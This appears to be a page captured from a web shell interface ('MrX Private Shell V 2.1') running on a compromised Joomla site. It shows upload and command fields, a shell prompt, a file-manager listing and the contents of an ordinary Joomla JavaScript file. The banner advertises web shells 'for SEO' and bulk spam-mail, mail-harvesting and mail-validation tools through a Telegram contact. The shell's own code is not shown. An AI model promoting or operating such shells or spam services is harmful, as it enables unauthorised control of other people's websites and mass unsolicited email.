__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @copyright  (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

(() => {

  // before 'joomla:showon-processed' is implemented in Showon we must use more frequent 'joomla:showon-show' and'joomla:showon-hide' events
  ['joomla:showon-show', 'joomla:showon-hide'].forEach(eventType => {
    document.addEventListener(eventType, () => {
      document.querySelectorAll('#guidedtour-dates-form fieldset').forEach(fieldset => {
        // Only hide fieldsets containing field control-group i.e. not radio selectors etc. that may use fieldsets
        if (fieldset.querySelectorAll(':scope .control-group').length === 0) {
          return;
        }
        const visibleChildren = fieldset.querySelectorAll(':scope .control-group:not(.hidden)');
        if (visibleChildren.length) {
          fieldset.classList.remove('hidden');
        } else {
          fieldset.classList.add('hidden');
        }
      });
      document.querySelectorAll('#guidedtour-dates-form joomla-tab-element').forEach(tabelement => {
        const tabLabel = document.querySelector(`button[aria-controls="${tabelement.id}"]`);
        if (tabLabel) {
          const visibleChildren = tabelement.querySelectorAll(':scope .control-group:not(.hidden)');
          if (visibleChildren.length) {
            tabLabel.removeAttribute('hidden');
          } else {
            tabLabel.setAttribute('hidden', 'hidden');
          }
        }
      });
    });
  });
})();

Filemanager

Name Type Size Permission Actions
tour-edit.js File 1.5 KB 0664
tour-edit.min.js File 795 B 0664
tour-edit.min.js.gz File 413 B 0664
Filemanager